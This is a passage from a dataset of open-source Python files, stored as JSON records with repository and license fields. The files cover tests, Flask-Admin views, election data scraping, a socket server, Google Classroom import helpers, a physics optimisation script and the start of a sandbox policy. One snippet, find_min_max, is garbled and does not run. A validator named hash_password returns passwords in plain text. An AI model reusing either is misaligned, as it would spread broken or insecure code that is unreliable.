mist.action_run import execute_from_text\n\nCHECK_FILE = \"pipeChains.mist\"\n\n@pytest.mark.asyncio\nasync def test_wait_for_producer(examples_path):\n with open(os.path.join(examples_path, CHECK_FILE), \"r\") as f:\n content = f.read()\n\n output = await execute_from_text(content, waitTime=1)\n\n assert \"\"\"Direct parameter\nDirect value\nValue from variable\nValue from pipe\nExplicitQueue to parameter queue\nExplicitQueue to parameter queue\nImplicit queue\nImplicit queue\nDirect value to function and explicit queue\nSend and old pipe notation\nSend and new pipe notation\nChain of 3 with explicit pipes\nChain of 3 with explicit pipes\nChain of 4 with explicit pipes\nChain of 4 with explicit pipes\nChain of 4 with explicit pipes\nImplicit pipe of 2\nImplicit pipe of 2\nImplicit pipe of 3\nImplicit pipe of 3\nImplicit pipe of 3\\n\"\"\" == output", "source": "BBVA/MIST", "license": "Apache-2.0"} {"text": "def find_min_max(nums):\n if nums[0] max:\n max = nums[i+2]\n\n return (min, max)\n\ndef main():\n print(find_min_max([3, 5, 1, 2, 4, 8]))\n\nif __name__== \"__main__\":\n main()", "source": "ktaletsk/daily-problem", "license": "MIT"} {"text": "import json\nfrom datetime import datetime\nfrom warnings import warn\n\nimport pandas as pd\nimport requests\ntry:\n from tqdm import tqdm\nexcept ImportError:\n from va_efficiency.constants import tqdm\n\nfrom va_efficiency.constants import COUNTS, OFFICE_IDS, EARLIEST, LATEST, MAX_RESULTS, URL_BASE\n\n\ndef is_election_year(year, office):\n if office == 'va_senator':\n return (year - 2015) % 4 == 0\n elif office == 'va_delegate':\n return (year - 2017) % 2 == 0\n\n\ndef chunk_queries(office, year_from=EARLIEST, year_to=LATEST):\n queries = [{'year_from': year_from}]\n expected_responses = 0\n for year in range(year_from, year_to+1):\n if is_election_year(year, office): # odd-year elections\n expected_responses += COUNTS[office]\n if expected_responses > MAX_RESULTS:\n queries[-1]['year_to'] = year - 1\n queries.append({'year_from': year})\n expected_responses = 0\n\n queries[-1]['year_to'] = year_to\n return queries\n\n\ndef get_response(office, year_from, year_to, session=None):\n query = URL_BASE.format(office_id=OFFICE_IDS[office], year_from=year_from, year_to=year_to)\n session = session or requests\n\n response = session.get(query)\n response.raise_for_status()\n parsed_response = response.json()\n assert all(len(item) == 0 for item in parsed_response['errors'].values()), 'Response had errors:\\n{}'.format(\n json.dumps(parsed_response['errors'], indent=2, sort_keys=True)\n )\n\n rows = dict()\n for district_election in parsed_response['output']:\n year = datetime.strptime(district_election['Election']['date'], '%Y-%m-%d').year\n try:\n district = int(district_election['District']['name'])\n except ValueError as e:\n if \"'5-6-7'\" in str(e):\n warn(\"Found district with name '5-6-7' ({} {}): skipping\".format(office, year))\n continue\n else:\n raise e\n r_votes = 0\n d_votes = 0\n for candidate in district_election['Candidate']:\n candidate_to_election = candidate['CandidateToElection']\n n_votes = int(candidate_to_election['n_votes'])\n if candidate_to_election['party'] == 'Republican':\n r_votes += n_votes\n elif candidate_to_election['party'] == 'Democratic':\n d_votes += n_votes\n\n if r_votes * d_votes == 0:\n continue\n\n term = int(year / 10) * 10\n\n rows[(term, year, district)] = {\n 'r_votes': r_votes,\n 'd_votes': d_votes,\n }\n\n return rows\n\n\ndef get_data_for_office(office, year_from=EARLIEST, year_to=LATEST, session=None):\n session = session or requests.Session()\n rows = dict()\n for chunk in tqdm(chunk_queries(office, year_from, year_to)):\n rows.update(get_response(office, chunk['year_from'], chunk['year_to'], session))\n\n df = pd.DataFrame.from_dict(rows, orient='index')\n # total votes, winner, threshold, r_wasted, d_wasted\n df['r_win'] = df['r_votes'] > df['d_votes']\n df['total_votes'] = df['r_votes'] + df['d_votes']\n df['r_ppn'] = df['r_votes'] / df['total_votes']\n df['d_ppn'] = df['d_votes'] / df['total_votes']\n df['threshold'] = ((df['total_votes'] + 1) / 2).astype(int)\n df['r_wasted'] = df['r_win'] * (df['r_votes'] - df['threshold']) + (~df['r_win']) * df['r_votes']\n df['d_wasted'] = (~df['r_win']) * (df['d_votes'] - df['threshold']) + df['r_win'] * df['d_votes']\n\n return df\n", "source": "clbarnes/va_efficiency", "license": "MIT"} {"text": "from flask import flash\nfrom flask_admin import expose\nfrom flask_admin.actions import action\nfrom flask_admin.model.template import TemplateLinkRowAction\nfrom sqlalchemy import and_\n\nfrom .db import Item, db\nfrom .items_subview import ItemsSubview\n\n\nclass HoldingItemsSubview(ItemsSubview):\n can_delete = False\n column_list = (\"title\", \"owner\",)\n\n @action(\"return\", \"Return Item\", \"Confirm return of selected items to owner.\")\n def action_return(self, ids):\n Item.query.filter(and_(Item.id.in_(ids))).update({Item.holder_id: Item.owner_id}, synchronize_session=False)\n db.session.commit()\n len_ids = len(ids)\n if len_ids > 1:\n flash(\"Returned {} items\".format(len_ids))\n else:\n flash(\"Returned an item\")\n\n @expose(\"/return/\", methods=(\"POST\",))\n def return_view(self):\n return self._action_view_base(self.action_return, \"Failed to return items. %(error)s\")\n\n def get_list_row_actions(self):\n actions = super(HoldingItemsSubview, self).get_list_row_actions()\n actions.append(TemplateLinkRowAction(\"item_actions.return_item\", \"Return item to owner\"))\n return actions\n\n def _apply_query_filter(self, query, client_id):\n return query.filter(Item.holder_id == client_id)\n", "source": "artemShelest/flask-admin-subview", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'mainwindow.ui'\n#\n# Created by: PyQt5 UI code generator 5.10.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\nclass Ui_MainWindow(object):\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.resize(212, 182)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(MainWindow.sizePolicy().hasHeightForWidth())\n MainWindow.setSizePolicy(sizePolicy)\n MainWindow.setMinimumSize(QtCore.QSize(212, 182))\n MainWindow.setMaximumSize(QtCore.QSize(212, 182))\n self.centralwidget = QtWidgets.QWidget(MainWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.verticalLayoutWidget = QtWidgets.QWidget(self.centralwidget)\n self.verticalLayoutWidget.setGeometry(QtCore.QRect(10, 0, 191, 121))\n self.verticalLayoutWidget.setObjectName(\"verticalLayoutWidget\")\n self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget)\n self.verticalLayout.setContentsMargins(0, 0, 0, 0)\n self.verticalLayout.setObjectName(\"verticalLayout\")\n self.stateLabel = QtWidgets.QLabel(self.verticalLayoutWidget)\n self.stateLabel.setObjectName(\"stateLabel\")\n self.verticalLayout.addWidget(self.stateLabel)\n self.stateComboBox = QtWidgets.QComboBox(self.verticalLayoutWidget)\n self.stateComboBox.setObjectName(\"stateComboBox\")\n self.verticalLayout.addWidget(self.stateComboBox)\n self.favLabel = QtWidgets.QLabel(self.verticalLayoutWidget)\n self.favLabel.setObjectName(\"favLabel\")\n self.verticalLayout.addWidget(self.favLabel)\n self.favSlider = QtWidgets.QSlider(self.verticalLayoutWidget)\n self.favSlider.setMinimum(1)\n self.favSlider.setMaximum(16)\n self.favSlider.setOrientation(QtCore.Qt.Horizontal)\n self.favSlider.setObjectName(\"favSlider\")\n self.verticalLayout.addWidget(self.favSlider)\n MainWindow.setCentralWidget(self.centralwidget)\n self.menubar = QtWidgets.QMenuBar(MainWindow)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 212, 30))\n self.menubar.setObjectName(\"menubar\")\n MainWindow.setMenuBar(self.menubar)\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\n self.statusbar.setObjectName(\"statusbar\")\n MainWindow.setStatusBar(self.statusbar)\n\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n _translate = QtCore.QCoreApplication.translate\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"Air Purifier 2 CTRL\"))\n self.stateLabel.setText(_translate(\"MainWindow\", \"State\"))\n self.favLabel.setText(_translate(\"MainWindow\", \"Favorite FAN Level\"))\n\n", "source": "id872/airpurifier2", "license": "MIT"} {"text": "from django.contrib import admin\nfrom .models import Prueba\n\n\n# Register your models here.\nadmin.site.register(Prueba)", "source": "alesancor1/DjangoRest-React-ThreeJs-Template", "license": "MIT"} {"text": "\"\"\"\nA subpackage containing arrays over Galois fields.\n\"\"\"\nfrom ._factory import *\nfrom ._main import *\nfrom ._poly_functions import * # pylint: disable=redefined-builtin\n", "source": "hussinhassan80/galois", "license": "MIT"} {"text": "from pydantic import BaseModel, EmailStr, constr, validator\nfrom datetime import datetime as dt\nfrom schemas.helpers.regex import datetime as regex_dt\n\n\nclass UserCreate(BaseModel):\n key: str = None\n email: EmailStr\n active: bool\n username: str\n password: str\n first_name: str = \"\"\n last_name: str = \"\"\n image_url: str = \"\"\n created_at: constr(regex=regex_dt) = dt.now().isoformat()\n created_by: str = \"\"\n updated_at: constr(regex=regex_dt) = dt.now().isoformat()\n updated_by: str = \"\"\n\n @validator(\"username\")\n def lower_username(cls, v):\n return v.lower()\n\n @validator(\"first_name\")\n def lower_first_name(cls, v):\n return v.lower()\n\n @validator(\"last_name\")\n def lower_last_name(cls, v):\n return v.lower()\n\n @validator(\"password\")\n def hash_password(cls, v):\n # Se debe encriptar la contrase\u00f1a\n return v\n", "source": "apoveda25/graphql-python-server", "license": "Apache-2.0"} {"text": "\"\"\"Add item to Action Enum table \n\nRevision ID: 20190202\nRevises: d500457efb3b\nCreate Date: 2019-04-02 15:40\n\n\"\"\"\nfrom datetime import datetime\nfrom enum import Enum\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"20190202\"\ndown_revision = \"d500457efb3b\"\nbranch_labels = None\ndepends_on = None\n\n\nclass NewAssignmentActions(Enum):\n released = \"released\"\n fetched = \"fetched\"\n submitted = \"submitted\"\n removed = \"removed\"\n collected = \"collected\"\n\n\nclass OldAssignmentActions(Enum):\n released = \"released\"\n fetched = \"fetched\"\n submitted = \"submitted\"\n removed = \"removed\"\n\n\ndef upgrade():\n\n with op.batch_alter_table(\"action\") as batch_op:\n\n batch_op.alter_column(\n \"action\",\n \"action\",\n existing_type=sa.Enum(OldAssignmentActions, name=\"assignmentactions\"),\n type_=sa.Enum(NewAssignmentActions, name=\"assignmentactions\"),\n )\n\n\ndef downgrade():\n\n with op.batch_alter_table(\"action\") as batch_op:\n batch_op.alter_column(\n \"action\",\n \"action\",\n existing_type=sa.Enum(NewAssignmentActions, name=\"assignmentactions\"),\n type_=sa.Enum(OldAssignmentActions, name=\"assignmentactions\"),\n )\n", "source": "jgwerner/nbexchange", "license": "BSD-3-Clause"} {"text": "# ===============================================================================\n# Copyright 2014 Jake Ross\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ===============================================================================\n\n# ============= enthought library imports =======================\n\n# ============= standard library imports ========================\n# ============= local library imports ==========================\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nimport six.moves.socketserver\nimport select\nimport socket\nimport sys\nfrom threading import Thread\n\n\nclass EmulationServer(object):\n def __init__(self, host, port, emulator):\n self.host = host\n self.port = port\n self.emulator = emulator\n\n def start(self, join=True):\n if not join:\n t = Thread(target=self.run)\n t.start()\n else:\n self.run()\n\n def stop(self):\n self._alive = False\n self.server.server_close()\n\n def run(self, host=None, port=None):\n if host is None:\n host = self.host\n if port is None:\n port = self.port\n\n if not (port and host):\n return\n\n print('serving on {}:{}'.format(host, port))\n server = six.moves.socketserver.TCPServer((host, port), self.emulator)\n server.allow_reuse_address = True\n self.server = server\n\n server.serve_forever()\n\n def run_link(self, host=None, port=None):\n if host is None:\n host = self.host\n if port is None:\n port = self.port\n\n if not (port and host):\n return\n\n self._alive = True\n c = self.emulator\n server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server.bind((host, port))\n server.listen(5)\n input_ = [server, sys.stdin]\n\n while self._alive:\n inputready, _outputready, _exceptready = select.select(input_, [], [], 0.05)\n for s in inputready:\n if s == server:\n # handle the server socket\n client, _address = server.accept()\n input_.append(client)\n\n elif s == sys.stdin:\n # handle standard input_\n _junk = sys.stdin.readline()\n running = 0\n\n else:\n # handle all other sockets\n data = c.handle(s.recv(1024))\n if data:\n try:\n s.send(data)\n except socket.error:\n pass\n else:\n s.close()\n input_.remove(s)\n\n# ============= EOF =============================================\n\n", "source": "ael-noblegas/pychron", "license": "Apache-2.0"} {"text": "from time import sleep\n\nimport rnc.corpora as rnc\nfrom tests.corpora.template import TemplateCorpusTest\n\n\nclass TestAccentologicalCorpus(TemplateCorpusTest):\n corp_type = rnc.AccentologicalCorpus\n\n corp_normal_obj = corp_type('\u0442\u044b', 1, dpp=5, spd=1)\n corp_kwic_obj = corp_type('\u0442\u044b', 1, dpp=5, spd=1, out='kwic')\n\n corp_normal_obj.request_examples()\n sleep(5)\n corp_kwic_obj.request_examples()\n sleep(5)\n\n def test_mycorp(self):\n corp = self.corp_type(\n '\u0442\u044b', 1,\n mycorp='JSONeyJkb2NfYXV0aG9yIjogWyLQkC7QoS4g0J_'\n 'Rg9GI0LrQuNC9Il0sICJkb2NfaV9sZV9lbmRfeWV'\n 'hciI6IFsiMTgzMCJdfQ%3D%3D'\n )\n corp.request_examples()\n\n assert len(corp) >= 1\n sleep(5)\n", "source": "kunansy/RNC", "license": "MIT"} {"text": "from logging import getLogger\n\nfrom allauth.socialaccount.models import SocialAccount\n\nfrom core.models import Course, CourseStudent, CourseWork, StudentSubmission\nfrom users.models import CustomUser\n\nlogger = getLogger('gradify')\n\n\ndef import_course(course: dict, user: CustomUser):\n \"\"\"\n Checks if the current user is the owner of the course or is just enrolled in it.\n If the user owns the course, the course gets created or updated.\n Otherwise, the user is added as a CourseStudent.\n\n Returns the imported/updated/enrolled course\n \"\"\"\n # Remove any fields we don't want\n course = filter_course_fields(course)\n users_google_id = SocialAccount.objects.get(user=user).uid\n if users_google_id == course['ownerId']:\n # User is course owner\n course['owner'] = user\n\n # Check if the course id exists in the database. If so, it gets updated. If not, it gets created.\n updated_course, created = Course.objects.update_or_create(googleId=course['googleId'], defaults=course)\n if created:\n logger.info(\"Created new course owned by user %s: %s\" % (user, updated_course))\n else:\n logger.info(\"Updated existing course owned by user %s: %s\" % (user, updated_course))\n\n return updated_course\n else:\n try:\n # Add user as a student enrolled in the course\n course_updated = Course.objects.filter(googleId=course['googleId']).update(**course) > 0\n existing_course = Course.objects.get(googleId=course['googleId'])\n if course_updated:\n logger.info('Updated course %s' % existing_course)\n\n enrolled_student, created = CourseStudent.objects.get_or_create(student=user, course=existing_course)\n if created:\n logger.info(\"Added new student %s to course %s\" % (user, course['name']))\n else:\n logger.debug(\"No changes for student %s in course %s\" % (user, course['name']))\n\n return enrolled_student.course\n except Course.DoesNotExist:\n # Current user is importing this course before the user that actually owns it\n # Create the course, but let the owner be set as the default.\n # If the true owner ever imports it, it will be updated.\n new_course = Course.objects.create(**course)\n logger.info(\"Student %s imported a course with no owner on Gradify: %s\" % (user, new_course))\n\n # Add the user as an enrolled student\n CourseStudent.objects.create(student=user, course=new_course)\n logger.info(\"Added student %s to course %s\" % (user, course['name']))\n\n return new_course\n\n\ndef import_assignment(assignment: dict, course: Course):\n \"\"\"\n Returns a CourseWork object which is created if it does not already exist\n \"\"\"\n assignment = dict(assignment)\n assignment['course'] = course\n assignment['author'] = course.owner\n assignment['source'] = CourseWork.GOOGLE\n assignment['googleId'] = assignment['id']\n assignment['dueDate'] = assemble_due_date(assignment)\n\n state_enum = get_enum_value(assignment['state'], CourseWork.COURSE_WORK_STATE_CHOICES)\n assignment['state'] = state_enum or CourseWork.COURSE_WORK_STATE_UNSPECIFIED\n\n work_type_enum = get_enum_value(assignment['workType'], CourseWork.COURSE_WORK_TYPE_CHOICES)\n assignment['workType'] = work_type_enum or CourseWork.COURSE_WORK_TYPE_UNSPECIFIED\n\n filtered_assignment = filter_assignment_fields(assignment)\n\n saved_assignment, created = CourseWork.objects.update_or_create(googleId=filtered_assignment['googleId'],\n defaults=filtered_assignment)\n if created:\n logger.info('Saved new %s assignment: %s' % (course, saved_assignment))\n else:\n logger.debug('No changes to existing %s assignment: %s' % (course, saved_assignment))\n\n return saved_assignment\n\n\ndef import_student(student: dict, course: Course):\n \"\"\"\n Gets or creates a user account associated with the student data from GC and saves/updates\n the user as a CourseStudent.\n \"\"\"\n student_account = get_or_create_account(student)\n\n # Add student to the class roster\n enrollment, created = CourseStudent.objects.get_or_create(student=student_account, course=course)\n if created:\n logger.info('Enrolled student %s in %s' % (student_account, course))\n else:\n logger.debug('Student %s already enrolled in %s' % (student_account, course))\n\n return enrollment\n\n\ndef import_submission(submission: dict):\n \"\"\"\n Updates or creates a student submission in the specified course. The coursework ID is retrieved\n from the submission.\n \"\"\"\n submission = dict(submission)\n submission['coursework'] = CourseWork.objects.get(googleId=submission['courseWorkId'])\n submission['student'] = SocialAccount.objects.get(uid=submission['userId']).user\n submission['gcSubmissionId'] = submission['id']\n\n state_enum = get_enum_value(submission['state'], StudentSubmission.SUBMISSION_STATE_CHOICES)\n submission['state'] = state_enum or StudentSubmission.SUBMISSION_STATE_UNSPECIFIED\n\n type_enum = get_enum_value(submission['courseWorkType'], StudentSubmission.COURSEWORK_TYPE_CHOICES)\n submission['courseWorkType'] = type_enum or StudentSubmission.COURSE_WORK_TYPE_UNSPECIFIED\n\n filtered_submission = filter_submission_fields(submission)\n imported_submission, created = StudentSubmission.objects.update_or_create(gcSubmissionId=submission['id'],\n defaults=filtered_submission)\n if created:\n logger.info('Saved new submission %s' % imported_submission)\n else:\n logger.info('Updated submission %s' % imported_submission)\n\n return imported_submission\n\n\ndef get_or_create_account(student: dict) -> CustomUser:\n \"\"\"\n Given a student object from GC, returns the associated user account. if it exists.\n Otherwise, returns a newly created user account.\n \"\"\"\n student_id = student['profile']['id']\n try:\n # Get the student's User instance via the student's google id\n student_account = SocialAccount.objects.get(uid=student_id).user\n logger.info('Found existing account for user %s' % student_account)\n except SocialAccount.DoesNotExist:\n # Create an oAuth account for the new student\n profile = student['profile']\n logger.debug(str(profile))\n acct_details = {\n 'username': profile['emailAddress'],\n 'email': profile['emailAddress'],\n 'first_name': profile['name']['givenName'],\n 'last_name': profile['name']['familyName'],\n }\n\n student_account = CustomUser(**acct_details)\n student_account.set_unusable_password()\n student_account.save()\n\n # Create a SocialAccount for the new User\n SocialAccount.objects.create(uid=student_id, user=student_account, provider='google')\n\n logger.info('Created new account for user %s' % student_account)\n\n return student_account\n\n\ndef filter_course_fields(course: dict):\n filtered_attrs = ['teacherGroupEmail', 'courseGroupEmail', 'teacherFolder', 'courseMaterialSets',\n 'guardiansEnabled', 'calendarId', 'id']\n\n filtered_course = filter_data(course, filtered_attrs)\n filtered_course['googleId'] = course['id']\n\n state_enum = get_enum_value(course['courseState'], Course.COURSE_STATE_CHOICES)\n filtered_course['courseState'] = state_enum or Course.COURSE_STATE_UNSPECIFIED\n\n return filtered_course\n\n\ndef get_enum_value(find: str, choices: tuple):\n for choice in choices:\n if choice[0].upper() == find.upper():\n return choice[0]\n\n return None\n\n\ndef filter_assignment_fields(assignment: dict):\n filtered_attrs = ['courseId', 'materials', 'scheduledTime', 'associatedWithDeveloper', 'assigneeMode',\n 'individualStudentOptions', 'submissionModificationMode', 'topicId', 'assignment',\n 'multipleChoiceQuestion', 'dueTime', 'id']\n\n return filter_data(assignment, filtered_attrs)\n\n\ndef filter_submission_fields(submission: dict):\n filtered_attrs = ['courseId', 'courseWorkId', 'userId', 'creationTime', 'updateTime', 'associatedWithDeveloper',\n 'submissionHistory', 'content', 'workType', 'id', 'assignmentSubmission',\n 'shortAnswerSubmission', 'multipleChoiceSubmission']\n\n return filter_data(submission, filtered_attrs)\n\n\ndef filter_data(data: dict, filtered_attrs):\n filtered_data = dict(data)\n for attr in filtered_attrs:\n try:\n del filtered_data[attr]\n except KeyError:\n continue\n return filtered_data\n\n\ndef assemble_due_date(assignment: dict):\n \"\"\"\n Returns a timestamp string from the dueDate and dueTime dict attributes, if present.\n Returns None if there is no dueDate attribute.\n \"\"\"\n try:\n date = assignment['dueDate']\n except KeyError:\n return None\n\n due_date = \"%04d-%02d-%02d\" % (date['year'], date['month'], date['day'])\n try:\n time = assignment['dueTime']\n due_date += \" %02d:%02d:%02d.%03dZ\" % (time['hours'], time['minutes'], time['seconds'], time['nanos'])\n except KeyError:\n # If no dueTime specified, default to the end of the day on the dueDate\n due_date += \" 23:59:59.999Z\"\n\n return due_date\n\n", "source": "dakinwerneburg/gradify", "license": "Apache-2.0"} {"text": "# Copyright Ryo Tamura\n# This program is free software: you can redistribute it and/or modify \n# it under the terms of the GNU General Public License as published by \n# the Free Software Foundation, either version 3 of the License, or \n# (at your option) any later version. \n\n# This program is distributed in the hope that it will be useful, \n# but WITHOUT ANY WARRANTY; without even the implied warranty of \n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \n# GNU General Public License for more details. \n\n# You should have received a copy of the GNU General Public License \n# along with this program. If not, see . \n#-------------------------------------------------------------\n\n#In\nimport numpy as np\nimport cPickle as pickle\nimport scipy\nimport combo\nimport os\nimport urllib\nimport matplotlib.pyplot as plt\n\n#In\n\nimport hphi_io as hphi\n\nhphi_cond = {}\n#For sekirei\n#hphi_cond[\"mpi_command\"] = \"mpijob\"\nhphi_cond[\"path_hphi\"] = \"./HPhi\"\nhphi_cond[\"path_input_file\"] = \"stan.in\"\nHPhi_calc = hphi.calc_mag(hphi_cond)\n\n\n#In\n#Create candidate\nwindow_num=20\n\nJ1_lower=0.0\nJ1_upper=2.0\n\nJ2_lower=0.0\nJ2_upper=2.0\n\nJ3_lower=0.0\nJ3_upper=2.0\n\nX=[]\n\nfor i in range(window_num+1):\n for j in range(window_num+1):\n for k in range(window_num+1):\n\n X.append([round(J1_lower+(J1_upper-J1_lower)/window_num*i,3),\n round(J2_lower+(J2_upper-J2_lower)/window_num*j,3),\n round(J3_lower+(J3_upper-J3_lower)/window_num*k,3)])\n\n\nX=np.array(X)\n\n\n\n#In\n\n#target magnetization\ninput_dict = {}\ninput_dict[\"J0\"] = 1.0\ninput_dict[\"J0'\"] = 0.5\ninput_dict[\"J0''\"] = 0.3\nenergy_list = HPhi_calc.get_energy_by_hphi(input_dict)\n\nmagnetic_field=[0.01*num for num in range(300)]\n\ntarget=[]\n\nfor H in magnetic_field:\n target.append(HPhi_calc.get_mag(energy_list, H))\n\n#fig = plt.figure(figsize=(10, 6))\n#plt.plot(magnetic_field,target,'.',label=\"target\")\n#plt.xlabel(\"Magnetic field\")\n#plt.ylabel(\"Magnetization\")\n#plt.legend(loc='lower right')\n#plt.savefig('Target.png', dpi=150)\n\n\n\n\n\n#In\n# Load the data.\n# X is the N x d dimensional matrix. Each row of X denotes the d-dimensional feature vector of search candidate.\n# t is the N-dimensional vector that represents the corresponding negative energy of search candidates.\n# ( It is of course unknown in practice. )\n\n\n# Normalize the mean and standard deviation along the each column of X to 0 and 1, respectively\nX_normalized = combo.misc.centering( X )\n\n\n\n#In\n# Declare the class for calling the simulator.\n# In this tutorial, we simply refer to the value of t.\n# If you want to apply combo to other problems, you have to customize this class.\nclass simulator:\n\n def __init__( self ):\n\n pass\n\n def __call__( self, action ):\n \n input_dict = {}\n input_dict[\"J0\"] = X[action][0][0]\n input_dict[\"J0'\"] = X[action][0][1]\n input_dict[\"J0''\"] = X[action][0][2]\n energy_list = HPhi_calc.get_energy_by_hphi(input_dict)\n\n\n delta_m=0.0\n\n for num in range(300):\n delta_m=delta_m+(HPhi_calc.get_mag(energy_list, magnetic_field[num])-target[num])**2\n\n delta_m_list.append(delta_m)\n J1_list.append(X[action][0][0])\n J2_list.append(X[action][0][1])\n J3_list.append(X[action][0][2])\n\n\n print \"*********************\"\n print \"Present optimum interactions\"\n\n print \"J1=\",J1_list[np.argmin(np.array(delta_m_list))]\n print \"J2=\",J2_list[np.argmin(np.array(delta_m_list))]\n print \"J3=\",J3_list[np.argmin(np.array(delta_m_list))]\n\n print \"\"\n\n\n return -delta_m\n\n\ndelta_m_list=[]\nJ1_list=[]\nJ2_list=[]\nJ3_list=[]\n\n#In\n# Design of policy\n\n# Declaring the policy by\npolicy = combo.search.discrete.policy(test_X=X_normalized)\n# test_X is the set of candidates which is represented by numpy.array.\n# Each row vector represents the feature vector of the corresponding candidate\n\n# set the seed parameter\npolicy.set_seed( 111 )\n\n\n\n#In[]\n\n# If you want to perform the initial random search before starting the Bayesian optimization,\n# the random sampling is performed by\n\nres = policy.random_search(max_num_probes=20, simulator=simulator())\n\n# Input:\n# max_num_probes: number of random search\n# simulator = simulator\n# output: combo.search.discreate.results (class)\n\n\n# single query Bayesian search\n# The single query version of COMBO is performed by\nres = policy.bayes_search(max_num_probes=80, simulator=simulator(), score='TS',\n interval=20, num_rand_basis=5000)\n\n\n# Input\n# max_num_probes: number of searching by Bayesian optimization\n# simulator: the class of simulator which is defined above\n# score: the type of aquision funciton. TS, EI and PI are available\n# interval: the timing for learning the hyper parameter.\n# In this case, the hyper parameter is learned at each 20 steps\n# If you set the negative value to interval, the hyper parameter learning is not performed\n# If you set zero to interval, the hyper parameter learning is performed only at the first step\n# num_rand_basis: the number of basis function. If you choose 0, ordinary Gaussian process runs\n\n\n\n#In\n\nbest_fx, best_action = res.export_all_sequence_best_fx()\n\n#estimated magnetization\ninput_dict = {}\ninput_dict[\"J0\"] = X[int(best_action[-1])][0]\ninput_dict[\"J0'\"] = X[int(best_action[-1])][1]\ninput_dict[\"J0''\"] = X[int(best_action[-1])][2]\nenergy_list = HPhi_calc.get_energy_by_hphi(input_dict)\n\nestimated=[]\n\nfor H in magnetic_field:\n estimated.append(HPhi_calc.get_mag(energy_list, H))\n\n\n#fig = plt.figure(figsize=(10, 6))\n#plt.plot(magnetic_field,target,'.',label=\"target\")\n#plt.plot(magnetic_field,estimated,'.',label=\"estimated\")\n#plt.xlabel(\"Magnetic field\")\n#plt.ylabel(\"Magnetization\")\n#plt.legend(loc='lower right')\n#plt.savefig('Estimation_result.png', dpi=150)\n\n\nprint \"*********************\"\nprint ''\nprint 'Estimated model parameter'\nprint 'J1=',X[int(best_action[-1])][0]\nprint 'J2=',X[int(best_action[-1])][1]\nprint 'J3=',X[int(best_action[-1])][2]\nprint ''\nprint ''\n\n\n\n#In\n\n# The result of searching is summarized in the class combo.search.discrete.results.history()\n# res.fx: observed negative energy at each step\n# res.chosed_actions: history of choosed actions\n# fbest, best_action= res.export_all_sequence_best_fx(): current best fx and current best action\n# that has been observed until each step\n# res.total_num_search: total number of search\nprint 'f(x)='\nfx_list = res.fx[0:res.total_num_search]\nprint fx_list\n\nprint 'history of chosed actions='\naction_list = res.chosed_actions[0:res.total_num_search]\nprint action_list\n\nprint 'current best'\nprint best_fx\n\nprint 'current best action='\nprint best_action\n \n#Save results to dat file\nwith open(\"combo_res.dat\", \"w\") as f:\n for _fx, _action, _best_fx, _best_action in zip(fx_list, action_list, best_fx, best_action):\n f.write(\"{} {} {} {}\\n\".format(_fx, _action, _best_fx, _best_action))\n", "source": "issp-center-dev/HPhi-gallery", "license": "MIT"} {"text": "import random\nimport socket\nimport struct\n\nclass StaticRoute:\n def __init__(self):\n self.__route = None\n\n def getHost(self, modid, cmdid):\n if not self.__route:\n try:\n self.__route = {}\n for i in range(3):\n with open('/tmp/backupRoute.dat.%d' % (i + 1), 'r') as inf:\n for line in inf:\n attrs = line.strip().split()\n imodid, icmdid = int(attrs[0]), int(attrs[1])\n ip = int(attrs[2])\n port = int(attrs[3])\n key = (imodid, icmdid)\n if (imodid, icmdid) not in self.__route:\n self.__route[(imodid, icmdid)] = []\n self.__route[(imodid, icmdid)].append((ip, port))\n\n except IOError, e:\n return -1\n if (modid, cmdid) not in self.__route:\n return -1\n host = random.choice(self.__route[(modid, cmdid)])\n ipn = host[0]\n if ipn < 0:\n ipn += 2 ** 32\n ips = socket.inet_ntoa(struct.pack('I', ipn))\n return (ips, host[1])\n\n def freeData(self):\n self.__route = None", "source": "LeechanX/Leechanx-Load-Balancer", "license": "MIT"} {"text": "#!/usr/bin/env python\nfrom combinato.plot.plot_extracted import parse_args\n\nif __name__ == \"__main__\":\n parse_args()\n", "source": "marijeterwal/combinato", "license": "MIT"} {"text": "from __future__ import print_function\nfrom platform import system, machine\nfrom posix import O_RDONLY\nimport os\nimport sys \nimport json\nfrom sandbox import * \n\ndef eprint(*args, **kwargs):\n\tprint(*args, file=sys.stderr, **kwargs)\n'''\nclass SelectiveOpenPolicy(SandboxPolicy):\n\tSC_open = (2, 0) if machine() == 'x86_64' else (5, 0)\n\tSC_unlink = (87, 0) if machine() == 'x86_64' else (10, 0)\n\tO_CLOEXEC = 0O2000000\n\tREADABLE_FILE_PATHS = [] # Default readable file paths\n\n\tWRITEABLE_FILE_PATHS = []\n\n\tsc_table = None\n\tsc_safe = dict( # white list of essential linux syscalls\n\t\ti686 = set([3, 4, 19, 45, 54, 90, 91, 122, 125, 140, 163, \\\n\t\t\t\t\t192, 197, 224, 243, 252, ]),\n\t\tx86_64 = set([0, 1, 2, 5, 8, 9, 10, 11, 12, 16, 25, 63, 158, 231, ])\n\t)\n\tsc_safe['x86_64'] = sc_safe['x86_64'] | set([\n\t\t# User-defined safe calls 